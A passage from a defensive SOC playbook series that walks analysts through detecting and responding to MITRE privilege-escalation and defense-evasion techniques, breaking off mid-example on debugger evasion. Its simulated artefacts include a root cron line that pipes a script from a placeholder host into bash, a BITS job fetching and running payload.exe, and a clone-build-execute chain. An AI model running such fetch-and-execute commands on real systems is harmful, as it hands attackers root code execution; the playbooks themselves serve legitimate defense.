Thread hijacking / APC	Thread manipulation	Stealth
Hollowing / Doppelgänger	Image replacement	Evasion
Ptrace / Proc mem	Unix process abuse	Root access
VDSO / ListPlanting	Loader abuse	Deep control

Step 3 Map behaviour to attacker intent

3A) Stealth Privilege Escalation

Indicators

- No new processes spawned

Attacker intent

- Avoid detection and logging

3B) Trust Piggybacking

Indicators

- Injection into trusted OS processes

Attacker intent

- Inherit trust and privileges

3C) Credential and Control Expansion

Indicators

- Injection into LSASS, winlogon, sshd

Attacker intent

- Steal secrets and dominate system

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access

- LSASS dumping, key extraction
- 2. Lateral Movement
 - RDP/SMB/SSH using elevated context
- 3. Defense Evasion
 - Unhooking, API patching
- 4. Impact
 - Ransomware staging, data manipulation

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Suspend or terminate injected processes
2. Isolate affected systems
3. Block further memory-injection attempts

If injection confirmed

1. Preserve memory dumps and EDR telemetry
2. Identify initial access vector enabling injection
3. Notify SOC leadership and OS/platform owners
4. Assume full privilege compromise

Eradication and recovery

- Rebuild affected systems (recommended for LSASS/critical targets)
- Rotate credentials exposed post-injection
- Patch OS and applications abused for injection
- Harden process protections (PPL, SELinux, AppArmor)
- Enforce EDR memory-protection features

Detection engineering (SIEM ideas)

A) Cross-process memory access

index=edr

| where action IN ("write_process_memory","create_remote_thread","ptrace_attach")

B) Privileged process executing non-standard code

index=edr
| where process_privilege IN ("SYSTEM","root")
| where module_path NOT LIKE approved_paths

C) Process hollowing indicators

index=edr
| where image_replaced=true OR transacted_image=true

Analyst checklist

- Process injection confirmed
- Sub-technique identified
- Affected processes terminated or systems rebuilt
- Credentials rotated
- Incident escalated appropriately

Post-incident improvements

- Treat memory integrity as a Tier-0 control
- Enable advanced EDR injection-detection rules
- Protect critical processes (LSASS PPL, SELinux enforcing)
- Monitor thread and memory APIs continuously
- Correlate memory write → thread execution → privilege escalation

Playbook 83 (MITRE Privilege Escalation): Scheduled Task / Job

Technique: Scheduled Task / Job

Sub-techniques (5):

- At
- Cron
- Scheduled Task
- Systemd Timers
- Container Orchestration Job

Purpose

Detect, investigate and respond to adversaries escalating privileges by abusing task schedulers and job orchestration mechanisms, enabling attackers to:

- Execute malicious code as SYSTEM/root or privileged service accounts
- Gain escalation without exploits or token abuse
- Blend malicious execution into routine automation
- Achieve persistence and privilege escalation simultaneously
- Delay execution to evade detection

Scheduled Task / Job abuse is privilege escalation through trusted automation attackers let the scheduler do the escalation for them.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious scheduled execution, including:

- New tasks created by non-admin users that run with elevated privileges
- Scheduled jobs executing binaries from unusual paths
- Privilege escalation occurring at predictable time intervals
- Task execution immediately after reboot or logon
- Task definitions modified without approved change records

Example use case scenario (end-to-end)

Context: SOC observes a standard user obtaining SYSTEM privileges every 5 minutes. No service creation or exploit telemetry is present. Task enumeration reveals a Scheduled Task configured to run as SYSTEM executing a malicious PowerShell script.

Attacker objective: Escalate privileges reliably and quietly using trusted scheduling infrastructure.

Defender objective: Remove malicious scheduled execution and restore scheduler integrity.

What it looks like (simulated SOC artefacts)

A) Windows Scheduled Task

TaskName=UpdateCheck

RunAs=SYSTEM

Trigger=Every 5 minutes

Action=powershell.exe -File C:\ProgramData\update.ps1

Creator=UserContext

B) Cron Job (Linux)

```
*/5 * * * * root /usr/bin/curl http://x.x.x.x/root.sh | bash
```

C) At Job

JobID=12

RunTime=02:00

Command=/bin/bash /tmp/escalate.sh

User=root

D) Systemd Timer

Timer=backup.timer

Service=backup.service

ExecStart=/usr/bin/bash /opt/payload.sh

User=root

E) Container Orchestration Job

Platform=Kubernetes

Job=nightly-maintenance

Image=attacker/image:latest

SecurityContext=privileged:true

F) Privilege Escalation Result

Context=SYSTEM / root

Method=Scheduled Execution

G) Follow-on Activity

NextAction=CredentialAccess

Severity decision (SOC)

High

- Privilege escalation limited to a single system

Critical

- SYSTEM/root execution
- Abuse of centrally managed schedulers or clusters

Example severity: Critical

(Exploit-less, reliable privilege escalation)

Step-by-step SOC workflow

Step 1 Validate scheduler-based escalation

Confirm:

1. Was a task or job created or modified?
2. Does it execute with higher privileges than the attacker initially had?
3. Is execution automatic or time-based?
4. Is there no exploit or token manipulation evidence?

Decision point

- Legitimate automation → validate approval and scope
- Malicious scheduled execution → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Windows scheduled tasks	SYSTEM execution	Reliability
Cron / at jobs	Root execution	Simplicity
Systemd timers	Boot-time execution	Durability
Container jobs	Cluster-wide privilege	Infrastructure reach

Step 3 Map behaviour to attacker intent

3A) Exploit-less Privilege Escalation

Indicators

- No vulnerability exploitation

Attacker intent

- Avoid exploit-based detection

3B) Persistence + Escalation

Indicators

- Task runs repeatedly or at boot

Attacker intent

- Long-term elevated foothold

3C) Delayed or Stealthy Execution

Indicators

- Time-based or infrequent triggers

Attacker intent

- Evade real-time detection

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - LSASS, keychain, /etc/shadow
2. Lateral Movement
 - RDP, SSH, SMB using elevated context
3. Defense Evasion
 - Task deletion or obfuscation
4. Impact
 - Ransomware staging, data exfiltration

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Disable or delete malicious tasks/jobs
2. Isolate affected systems or nodes
3. Prevent further scheduled execution

If scheduler abuse confirmed

1. Preserve task definitions and scheduler logs
2. Identify how scheduler modification rights were obtained
3. Notify SOC leadership, OS/Platform teams and management
4. Assume privilege boundary compromise

Eradication and recovery

- Remove malicious tasks and restore legitimate ones
- Rotate credentials exposed post-escalation
- Restrict task/job creation permissions
- Enforce scheduler auditing and integrity checks
- Rebuild systems if task scope is unclear

Detection engineering (SIEM ideas)

A) Scheduled task creation/modification

index=windows OR index=linux
| where event_type IN
("task_created","task_modified","cron_added","systemd_timer_added")

B) Privileged scheduled execution

index=edr
| where process_parent IN ("taskeng.exe","cron","systemd")
| where process_privilege IN ("SYSTEM","root")

C) Privileged container jobs

index=cloud
| where action="create_job"
| where privileged=true

Analyst checklist

- Scheduled execution escalation confirmed
- Sub-technique identified
- Tasks removed and permissions hardened
- Credentials reviewed and rotated
- Incident escalated appropriately

Post-incident improvements

- Treat schedulers as Tier-0 privilege escalation surfaces
- Enforce strict approvals for task/job creation
- Monitor scheduler activity continuously
- Baseline legitimate tasks and timers
- Correlate task creation → execution → privilege escalation

Playbook 84 (MITRE Privilege Escalation): Valid Accounts

Technique: Valid Accounts

Sub-techniques (4):

- Default Accounts
- Domain Accounts
- Local Accounts
- Cloud Accounts

Purpose

Detect, investigate and respond to adversaries escalating privileges by abusing legitimate credentials and accounts, enabling attackers to:

- Escalate privileges without exploits, malware or injection
- Blend malicious activity into normal authentication behaviour
- Abuse misconfigured, over-privileged or forgotten accounts
- Move from low-privilege access to administrator / root / global admin
- Evade detection by operating as “legitimate users”

Valid Accounts is privilege escalation via identity abuse attackers don’t break in, they log in and get promoted.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected privilege gain using legitimate credentials, including:

- Users gaining admin privileges without policy or ticket approval
- Authentication from valid accounts followed by immediate escalation
- Use of dormant, default or rarely used accounts
- Cloud IAM role elevation without approved change
- Privilege escalation with no exploit, no malware, no memory abuse

Example use case scenario (end-to-end)

Context: SOC observes a standard domain user successfully authenticating and immediately performing domain admin actions. No exploit or service abuse is detected. Audit logs show the user was added to a privileged group earlier using a compromised admin account.

Attacker objective: Escalate privileges cleanly and quietly using legitimate identities.

Defender objective: Revoke illegitimate access and restore identity trust.

What it looks like (simulated SOC artefacts)

A) Default Account Abuse

Account=Administrator
State=Enabled
LastLogin=02:14
SourceIP=Unknown

B) Domain Account Privilege Escalation

User=jdoe
Action=Added to Domain Admins
PerformedBy=svc_backup

C) Local Account Escalation

Host=WS-014
User=localuser
Group=Administrators
ChangeSource=Unknown

D) Cloud Account Role Abuse

Account=user@tenant.com
RoleAdded=Global Administrator
PerformedVia=AzureAD Portal

E) Rapid Privilege Usage

User=jdoe
Action=DC Sync
TimeSinceRoleAdd=3 minutes

F) Follow-on Activity

NextAction=LateralMovement

Severity decision (SOC)

High

- Privilege escalation limited to a single system

Critical

- Domain admin, root or global admin access achieved
- Abuse of cloud or directory-wide privileges

Example severity: Critical

(Identity-based privilege escalation)

Step-by-step SOC workflow

Step 1 Validate account-based privilege escalation

Confirm:

1. Was a valid account used for authentication?
2. Did that account gain new or higher privileges?
3. Was the privilege change unauthorised or unexpected?
4. Is there no exploit or malware-based escalation?

Decision point

- Legitimate admin action → validate ticket/change approval
- Unauthorised escalation → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Indicator	Attacker value
Default accounts	Built-in admin abuse	Predictability
Domain accounts	Group membership abuse	Scale
Local accounts	Host-level control	Simplicity
Cloud accounts	IAM role escalation	Tenant-wide access

Step 3 Map behaviour to attacker intent

3A) Stealth Escalation

Indicators

- No malware or exploit activity

Attacker intent

- Evade detection using normal auth flows

3B) Trust Abuse

Indicators

- Abuse of legitimate admin mechanisms

Attacker intent

- Operate “inside the rules”

3C) Enterprise Control

Indicators

- Domain or cloud-wide privileges gained

Attacker intent

- Full organisational dominance

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - LSASS dumping, DCSync, cloud token abuse
2. Lateral Movement
 - RDP, SMB, SSH, WinRM
3. Defense Evasion
 - Log clearing, policy modification
4. Impact
 - Ransomware, data exfiltration, sabotage

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Remove unauthorised privileges
2. Disable or suspend compromised accounts

3. Invalidate active sessions and tokens

If valid account abuse confirmed

1. Preserve authentication and IAM audit logs
2. Identify credential compromise source
3. Notify SOC leadership, IAM, IT Ops and management
4. Assume identity trust compromise

Eradication and recovery

- Rotate credentials for affected accounts
- Review and clean all privileged group memberships
- Disable or rename default accounts
- Enforce least privilege and just-in-time access
- Revalidate cloud IAM and directory baselines

Detection engineering (SIEM ideas)

A) Privileged group membership changes

index=ad OR index=cloud
| where action IN ("add_to_admin_group","role_assigned")

B) Rapid privilege usage after role assignment

index=security
| where privilege_change=true
| transaction user maxspan=10m

C) Default account authentication

index=windows
| where user IN ("Administrator","root")

Analyst checklist

- Valid account abuse confirmed
- Sub-technique identified
- Privileges revoked
- Credentials rotated
- Incident escalated appropriately

Post-incident improvements

- Treat identity misuse as a Tier-0 privilege escalation vector
- Enforce MFA for all privileged accounts
- Monitor group and role changes in real time
- Disable or tightly control default accounts
- Correlate authentication → privilege change → privileged action

DEFENSE EVASION

Defense Evasion is the stage where attackers attempt to avoid detection and bypass security controls so they can continue operating without interruption. After gaining access and privileges, adversaries hide their activities by disabling or tampering with security tools, modifying logs, masquerading as legitimate processes, encrypting or obfuscating payloads and blending in with normal user behaviour. This phase allows attackers to extend dwell time and operate stealthily while progressing toward their objectives. For SOC teams, detecting defense evasion is especially challenging but critical, as successful evasion often means the attacker is already deeply embedded in the environment identifying these behaviours early can prevent prolonged compromise and larger-scale impact.

Playbook 85 (MITRE Defense Evasion): Abuse Elevation Control Mechanism

Technique: Abuse Elevation Control Mechanism

Sub-techniques covered:

- Setuid and Setgid
- Bypass User Account Control
- Sudo and Sudo Caching
- Elevated Execution with Prompt
- Temporary Elevated Cloud Access
- TCC Manipulation

Purpose

Detect, investigate and respond to defense evasion achieved by abusing legitimate privilege elevation mechanisms, enabling attackers to:

- Perform high-privilege actions without triggering exploit alerts
- Blend malicious activity into expected administrative workflows
- Evade detections focused on malware, exploits or credential dumping
- Abuse trust relationships between users, OS and cloud platforms
- Execute sensitive actions under the appearance of legitimacy

From a defense evasion perspective, the attacker is not just escalating privileges they are hiding malicious intent inside normal elevation behaviour.

When to trigger this playbook

Trigger this playbook when indicators suggest privileged activity that looks legitimate but is contextually suspicious, including:

- Elevated actions with no corresponding ticket or change record
- Admin/root execution without exploit telemetry
- Frequent or repeated sudo success without password prompts
- Legitimate elevation prompts abused outside business context
- Cloud admin roles activated briefly and repeatedly
- macOS privacy controls weakened without user awareness

Example use case scenario (end-to-end)

Context: SOC observes system files modified by a standard user account. No exploit alerts, no malware detected. Investigation shows the user abused sudo caching and a Setuid binary, while cloud logs show temporary admin role activation during off-hours.

Attacker objective: Perform privileged actions while appearing legitimate, avoiding security detection.

Defender objective: Detect elevation abuse patterns, revoke misuse and restore proper control boundaries.

What it looks like (simulated SOC artefacts)

A) Setuid / Setgid Abuse

```
file=/usr/bin/backup-helper
permissions=-rwsr-xr-x
executed_by=user01
result=uid=0(root)
```

B) UAC Bypass (Windows)

```
process=eventvwr.exe
parent=explorer.exe
child=powershell.exe
integrity_level=High
```

C) Sudo Caching Abuse

```
user=user01
command=sudo vi /etc/passwd
password_prompt=false
```

D) Elevated Execution with Prompt

```
application=installer.exe
elevation_prompt=shown
user_clicked=Yes
child_process=cmd.exe
```

E) Temporary Elevated Cloud Access

```
platform=EntraID
action=ActivateRole
role=GlobalAdmin
duration=1h
user=devops01@example.my
```

F) TCC Manipulation (macOS)

database=/Library/Application Support/com.apple.TCC/TCC.db
service=SystemPolicyAllFiles
app=Terminal
access=granted

Severity decision (SOC)

Low

- Elevation behaviour approved and documented
- Matches maintenance or operational activity

Medium

- Elevation undocumented
- No immediate malicious follow-on

High / Critical

- Elevation abused to evade controls
- Privileged actions performed stealthily
- Cross-platform impact observed

Example severity: High

(Sudo caching + Setuid abuse + cloud admin activation)

Step-by-step SOC workflow

Step 1 Validate elevation context

Confirm:

1. Which elevation mechanism was used?
2. Is the elevation expected for this user, system and time?
3. Did elevation bypass normal safeguards (password, MFA, approval)?
4. Are actions disproportionate to the user's role?

Decision point

- Legitimate admin workflow → document and monitor
- Suspicious elevation abuse → continue investigation immediately

Step 2 Identify evasion vector and scope

Mechanism	Evidence	Evasion value
Setuid / Setgid	Root-owned binaries	No exploit needed
UAC bypass	Auto-elevated binaries	Avoid prompts/logs
Sudo caching	No password reuse	Silent root access
Elevation prompt	User trust abuse	Social evasion
Cloud elevation	Time-bound admin	Audit log evasion
TCC manipulation	Privacy bypass	Data access stealth

Step 3 Map behaviour to attacker intent

3A) Blend into Legitimate Activity

Indicators

- Built-in tools only
- No malware artefacts

Attacker intent

- Hide in plain sight

3B) Bypass Security Monitoring

Indicators

- No exploit signatures
- No credential theft

Attacker intent

- Evade SOC detection logic

3C) Enable Follow-on Actions

Indicators

- Privileged changes to system or cloud
- Subsequent persistence or access expansion

Attacker intent

Prepare environment for long-term compromise

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Services, tasks, startup items
2. Credential Access
 - Secrets, keychains, LSASS
3. Lateral Movement
 - Admin access reuse
4. Impact
 - Ransomware, sabotage, data access

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Revoke elevated privileges immediately
2. Terminate suspicious elevated sessions
3. Disable abused elevation mechanisms

If abuse confirmed

1. Reset affected user credentials
2. Fix sudoers, Setuid, UAC or policy misconfigurations
3. Revoke temporary cloud roles
4. Isolate host if system integrity is questionable

Eradication and recovery

- Restore least-privilege enforcement
- Reset macOS TCC permissions
- Audit and tighten elevation controls
- Review elevated actions performed
- Monitor for recurrence of abuse

Detection engineering (SIEM ideas)

A) Sudo without password

index=linux
 | where command LIKE "sudo%"
 | where password_prompt="false"

B) Auto-elevated Windows binaries

index=edr
 | where parent_process="explorer.exe"
 | where child_integrity="High"

C) Cloud role activation monitoring

index=cloud
 | where action="ActivateRole"

D) macOS TCC database changes

index=macos
 | where file_path LIKE "%TCC.db%"

Analyst checklist

- Elevation abuse identified
- Context validated
- Privileges revoked
- Configurations corrected
- Monitoring enhanced

Post-incident improvements

- Treat elevation abuse as Tier-0 defense evasion
- Audit Setuid, sudoers and UAC settings regularly
- Require just-in-time approval for cloud admin roles
- Monitor elevation frequency and timing anomalies

- Include elevation-abuse scenarios in SOC training

Playbook 86 (MITRE Defense Evasion): Access Token Manipulation

Technique: Access Token Manipulation

Sub-techniques covered:

- Token Impersonation / Theft
- Create Process with Token
- Make and Impersonate Token
- Parent PID Spoofing
- SID-History Injection

Purpose

Detect, investigate and respond to defense evasion achieved by abusing access tokens, enabling attackers to:

- Operate under legitimate security contexts
- Evade authentication, MFA and credential-based detections
- Make malicious activity appear to come from trusted users or services
- Blend into normal OS behaviour and audit logs
- Bypass many identity-based security controls

From a defense evasion perspective, the attacker is not “logging in” they are reusing or forging trust that already exists.

When to trigger this playbook

Trigger this playbook when indicators suggest identity misuse without corresponding authentication events, including:

- SYSTEM or admin processes spawned without logon events
- Privileged actions by users who never authenticated
- Security logs showing legitimate users performing impossible actions
- Parent-child process relationships that don't make sense
- Domain admin privileges appearing without group changes
- EDR alerts referencing token, PID spoofing or impersonation

Example use case scenario (end-to-end)

Context: SOC detects registry modifications requiring admin privileges. No admin logon events are present. EDR telemetry shows a user-level process using `SeImpersonatePrivilege` to steal a SYSTEM token and spawn a new process with spoofed parent PID.

Attacker objective: Perform privileged actions while appearing fully legitimate, avoiding authentication and MFA controls.

Defender objective: Detect token abuse, terminate impersonated execution and restore identity trust boundaries.

What it looks like (simulated SOC artefacts)

A) Token Impersonation / Theft

```
process=malware.exe  
privilege=SeImpersonatePrivilege  
token_source=NT AUTHORITY\SYSTEM
```

B) Create Process with Token

```
API=CreateProcessWithTokenW  
new_process=cmd.exe  
run_as=SYSTEM  
caller_process=user_app.exe
```

C) Make and Impersonate Token

```
LogonUser()  
logon_type=NewCredentials  
impersonation=enabled
```

D) Parent PID Spoofing

```
process=cmd.exe  
reported_parent=explorer.exe  
actual_creator=malware.exe
```

E) SID-History Injection

```
user=corp\user01  
SIDHistory=corp\Domain Admins  
effective_rights=DomainAdmin
```

Severity decision (SOC)

Low

- Token usage aligns with documented service behaviour

- No privilege misuse detected

Medium

- Token manipulation detected
- Limited scope, no sensitive actions

High / Critical

- SYSTEM or Domain Admin actions without authentication
- Token abuse used to evade security controls
- Lateral movement or persistence enabled

Example severity: Critical

(SYSTEM token impersonation + silent admin actions)

Step-by-step SOC workflow

Step 1 Validate token legitimacy

Confirm:

1. Which token was used (SYSTEM, service, admin)?
2. Does token usage match authentication logs?
3. Is impersonation expected for this process?
4. Were actions possible without authentication?

Decision point

- Legitimate service impersonation → document and monitor
- Unauthorised token abuse → continue investigation immediately

Step 2 Identify token abuse vector and scope

Sub-technique	Evidence	Evasion value
Token impersonation	SYSTEM token reuse	No login required
Create process with token	SYSTEM child process	Privileged stealth
Make/impersonate token	Fake logon context	MFA bypass
Parent PID spoofing	False lineage	Process trust abuse
SID-History injection	Group inheritance	Domain-wide stealth

Step 3 Map behaviour to attacker intent

3A) Authentication Bypass

Indicators

- No logon or MFA events
- Privileged actions succeed

Attacker intent

- Evade identity controls entirely

3B) Audit and Log Evasion

Indicators

- Actions attributed to trusted identities
- No suspicious logins

Attacker intent

- Hide in legitimate audit trails

3C) Privilege Masking

Indicators

- Low-privilege process performing admin tasks

Attacker intent

- Conceal privilege escalation

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - LSASS access, token cloning
2. Persistence
 - SYSTEM-level services or tasks
3. Lateral Movement
 - SMB, WinRM, RDP without auth logs

4. Impact

- AD manipulation, ransomware staging

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Terminate processes running under stolen tokens
2. Revoke token-related privileges (SeImpersonate, SeAssignPrimaryToken)
3. Isolate affected hosts

If abuse confirmed

1. Reset credentials of affected identities
2. Remove SID-History entries
3. Disable vulnerable services allowing token abuse
4. Preserve memory and telemetry for forensics

Eradication and recovery

- Patch OS and services enabling token abuse
- Remove unnecessary token privileges
- Restore correct group memberships
- Reimage hosts if identity integrity is uncertain
- Validate clean token usage after reboot

Detection engineering (SIEM ideas)

A) SYSTEM process without SYSTEM parent

```
index=edr  
| where child_user="SYSTEM"  
| where parent_user!="SYSTEM"
```

B) Token privilege abuse

```
index=windows  
| where privilege IN ("SeImpersonatePrivilege","SeAssignPrimaryToken")
```

C) Parent PID spoofing

```
index=edr  
| where reported_parent != actual_parent
```

D) SID-History modification

```
index=identity  
| where attribute="SIDHistory"
```

Analyst checklist

- Token abuse confirmed
- Privileged execution terminated
- Identity trust restored
- Privileges reduced
- Monitoring strengthened

Post-incident improvements

- Treat token abuse as Tier-0 defense evasion
- Minimise SeImpersonatePrivilege usage
- Correlate authentication events with process creation
- Audit SID-History regularly
- Include token-evasion scenarios in SOC simulations

Playbook 87 (MITRE Defense Evasion): BITS Jobs

Technique: BITS Jobs

Purpose

Detect, investigate and respond to adversaries abusing Background Intelligent Transfer Service (BITS) jobs to evade defenses, enabling attackers to:

- Download or upload malicious payloads quietly and reliably
- Blend network traffic into legitimate Windows background activity
- Execute payloads indirectly through trusted OS components
- Persist malicious operations across reboots
- Evade proxy, firewall and network anomaly detection

BITS Jobs represent defense evasion through trusted background services attackers hide inside normal Windows update-style behaviour.

When to trigger this playbook

Trigger this playbook when indicators suggest suspicious or unauthorised BITS job usage, including:

- BITS jobs created by non-admin or unexpected users
- BITS jobs downloading from suspicious or external infrastructure
- Jobs configured with execution or persistence properties
- BITS activity associated with malware delivery or C2 staging
- Network transfers occurring without visible foreground processes

Example use case scenario (end-to-end)

Context: SOC observes intermittent outbound traffic to an unfamiliar external IP. No browser or application process is associated. BITS logs reveal a persistent BITS job downloading an executable to C:\ProgramData and executing it.

Attacker objective: Evade network and endpoint detection while staging malware.

Defender objective: Terminate malicious BITS jobs and restore trusted background transfer usage.

What it looks like (simulated SOC artefacts)

A) Suspicious BITS Job Creation

JobName=UpdateJob
Owner=CORP\user1
URL=http://x.x.x.x/payload.exe
Destination=C:\ProgramData\update.exe

B) Persistence via BITS

JobType=Persistent
RetryDelay=Infinite
NoProgressTimeout=0

C) Execution Trigger

NotifyCmdLine=C:\ProgramData\update.exe
NotifyFlags=JOB_NOTIFY_FILE_TRANSFERRED

D) Network Evasion

Service=BITS
Protocol=HTTP
UserAgent=Microsoft BITS/7.8

E) Follow-on Activity

NextAction=Execution

Severity decision (SOC)

Medium

- Suspicious BITS usage without confirmed malicious payload

High

- BITS used to download or execute malware

Critical

- BITS abuse combined with persistence, C2 or lateral movement

Example severity: High

(Trusted service abused for stealthy payload delivery)

Step-by-step SOC workflow

Step 1 Validate BITS abuse

Confirm:

1. Was a BITS job created or modified?
2. Is the job unauthorised or unexpected?
3. Does it interact with suspicious external infrastructure?
4. Does it trigger execution or persistence?

Decision point

- Legitimate system update → validate source and scope
- Malicious BITS job → escalate immediately

Step 2 Identify attacker use pattern

BITS Feature	Abuse Indicator	Attacker value
Background transfer	No user process	Stealth
Trusted user-agent	Normal-looking traffic	Evasion
Persistent jobs	Survive reboot	Durability
NotifyCmdLine	Payload execution	Execution
Throttling	Low-bandwidth usage	Detection avoidance

Step 3 Map behaviour to attacker intent

3A) Network Evasion

Indicators

- HTTP traffic attributed to BITS

Attacker intent

- Bypass proxy and IDS scrutiny

3B) Stealthy Payload Delivery

Indicators

- Executables staged via BITS

Attacker intent

- Avoid direct download detection

3C) Persistence and Reliability

Indicators

- Jobs configured to retry indefinitely

Attacker intent

- Guaranteed payload delivery

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Execution
 - NotifyCmdLine execution, LOLBins
2. Persistence
 - Scheduled tasks, registry autoruns
3. Command and Control
 - Beacons from downloaded payload
4. Privilege Escalation
 - Post-execution escalation attempts

Decision point

- Follow-on detected → escalate to Major / Executive IR

Containment actions

Immediate

1. Cancel and delete malicious BITS jobs
2. Block malicious URLs and IPs
3. Isolate affected hosts if payload executed

If BITS abuse confirmed

1. Preserve BITS logs and job metadata
2. Identify initial access enabling job creation
3. Notify SOC leadership and endpoint teams
4. Assume **defense evasion activity**

Eradication and recovery

- Remove downloaded payloads
- Reset BITS service state if tampered
- Rotate credentials if post-download activity occurred
- Harden BITS usage via group policy
- Review endpoint update and transfer baselines

Detection engineering (SIEM ideas)

A) BITS job creation

index=windows
| where event_id IN (59, 60) /* BITS job created/modified */

B) BITS downloads to unusual paths

index=windows
| where service="BITS"
| where destination_path LIKE "C:\\ProgramData%"

C) BITS external download correlation

index=proxy
| where user_agent LIKE "Microsoft BITS%"

Analyst checklist

- Malicious BITS job confirmed
- Job removed and payload deleted
- Network IOCs blocked
- Follow-on activity investigated
- Incident severity assessed correctly

Post-incident improvements

- Treat BITS as a monitored execution-adjacent service
- Alert on BITS jobs with execution triggers
- Baseline legitimate BITS usage in the environment
- Correlate BITS job → file write → execution
- Include BITS abuse in threat-hunting playbooks

Playbook 88 (MITRE Defense Evasion): Build Image on Host

Technique: Build Image on Host

Purpose

Detect, investigate and respond to adversaries evading defenses by building malicious payloads directly on the compromised host, enabling attackers to:

- Avoid static detection of pre-built malware
- Bypass signature-based AV and sandboxing
- Generate host-specific binaries that evade reputation systems
- Compile or assemble payloads only when needed
- Blend malicious activity into legitimate development or build workflows

Build Image on Host is defense evasion through on-demand weaponisation attackers don't bring malware with them they manufacture it inside the victim environment.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected compilation, build or image creation activity, including:

- Compilers or build tools running on non-developer systems
- Source code being fetched and compiled post-compromise
- Container or VM images built on production hosts
- Build artefacts immediately followed by execution
- No malware detected until after compilation

Example use case scenario (end-to-end)

Context: SOC detects gcc.exe executing on a finance workstation. No developer tools should exist on the system. Moments later, a new executable appears in memory and begins C2 communication.

Attacker objective: Evade detection by building malware locally instead of delivering it.

Defender objective: Stop on-host weaponisation and restore endpoint integrity.

What it looks like (simulated SOC artefacts)

A) Unexpected Compiler Execution

Process=gcc.exe

User=finance_user
Host=FIN-WS-021

B) Source Code Retrieval

Command=git clone https://x.x.x.x/repo.git
Destination=C:\Temp\src

C) On-Host Build

Command=make all
Output=payload.exe
Path=C:\Temp\src\bin

D) Immediate Execution

ProcessStart=C:\Temp\src\bin\payload.exe
Parent=cmd.exe

E) Container Image Build (Alternative)

Command=docker build .
Image=finance-update:latest

F) Follow-on Activity

NextAction=CommandAndControl

Severity decision (SOC)

Medium

- Build activity observed but no malicious execution confirmed

High

- Host-built payload executed

Critical

- On-host build combined with C2, persistence or lateral movement

Example severity: High

(Local malware manufacturing)

Step-by-step SOC workflow

Step 1 Validate on-host image build

Confirm:

1. Are build tools present on a system where they should not be?
2. Was source code fetched or written locally?
3. Did a binary, script or image get produced?
4. Was the artefact executed or staged?

Decision point

- Legitimate dev activity → validate asset role
- Malicious build activity → escalate immediately

Step 2 Identify build method and scope

Build Method	Indicator	Attacker value
Native compiler	gcc, cl.exe	AV evasion
Script-based build	PowerShell, Python	Flexibility
Container image build	docker build	Cloud abuse
VM/image build	Packer, qemu	Infrastructure staging

Step 3 Map behaviour to attacker intent

3A) Signature Evasion

Indicators

- No malware detected until execution

Attacker intent

- Bypass static detection

3B) Host-Specific Payloads

Indicators

- Builds customised per host

Attacker intent

- Evade reputation and sandboxing

3C) Stealth Weaponisation

Indicators

- Build tools removed after use

Attacker intent

- Reduce forensic artefacts

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Execution
 - Newly built binaries running
2. Persistence
 - Autoruns, services, scheduled tasks
3. Command and Control
 - Network connections from built artefacts
4. Privilege Escalation
 - Exploits bundled into builds

Decision point

- Follow-on detected → escalate to Major / Executive IR

Containment actions

Immediate

1. Terminate build and execution processes
2. Isolate affected host
3. Preserve build artefacts and source code

If malicious build confirmed

1. Collect compiler logs, shell history and file timestamps
2. Identify initial access vector enabling build tools
3. Notify SOC leadership and endpoint teams
4. Treat system as fully compromised

Eradication and recovery

- Remove unauthorised build tools
- Delete malicious source and binaries
- Reimage affected systems (recommended)
- Restrict compiler and build tool usage via policy
- Review software allowlisting controls

Detection engineering (SIEM ideas)

A) Compiler execution on non-dev systems

```
index=edr  
| where process_name IN ("gcc.exe","cl.exe","make","docker","go","rustc")  
| where host_role!="developer"
```

B) Build followed by execution

```
index=edr  
| transaction host maxspan=10m  
| where process_name IN ("gcc.exe","make") AND child_process!="expected"
```

C) Container image builds on endpoints

```
index=cloud OR index=edr  
| where command LIKE "docker build%"
```

Analyst checklist

- On-host build activity confirmed
- Malicious artefacts identified
- Host isolated or rebuilt
- Follow-on activity investigated
- Incident severity reassessed

Post-incident improvements

- Treat build tools as high-risk binaries
- Restrict compilers to approved developer systems
- Alert on build-then-execute patterns
- Monitor source-fetch + compile chains
- Correlate source download → build → execution

Playbook 89 (MITRE Defense Evasion): Debugger Evasion

Technique: Debugger Evasion

Purpose

Detect, investigate and respond to attacker techniques that detect, disrupt or evade debugging and analysis, enabling attackers to:

- Prevent reverse engineering and malware analysis
- Detect sandbox, EDR or analyst-driven debugging
- Alter behaviour to appear benign under analysis
- Delay or suppress malicious execution until safe
- Increase dwell time by resisting investigation

Debugger evasion is analysis-aware defense evasion: the malware knows it is being watched and reacts accordingly.

When to trigger this playbook

Trigger this playbook when indicators suggest analysis-aware or debugger-sensitive behaviour, including:

- Malware behaving differently in sandbox vs production
- Processes exiting immediately under debugging
- Anti-debug API calls or timing checks detected
- Self-termination when analysis tools are present
- Code paths activated only after long delays
- EDR alerts referencing anti-debugging or anti-analysis

Example use case scenario (end-to-end)

Context: SOC detonates a suspicious executable in a sandbox. The sample exits immediately and shows no malicious behaviour. When executed on an endpoint, the same binary performs process injection and C2 communication. Telemetry reveals anti-debug checks and timing-based evasion.

Attacker objective: Avoid analysis and signature creation by detecting debugging environments.

Defender objective: Identify debugger evasion techniques and correlate behaviour across environments.

What it looks like (simulated SOC artefacts)

A) Debugger Detection API Calls

API=IsDebuggerPresent
Result=False
API=CheckRemoteDebuggerPresent
Target=CurrentProcess

B) Timing-Based Evasion

Sleep(600000)
RDTSC delta mismatch detected

C) Exception-Based Detection

INT 3
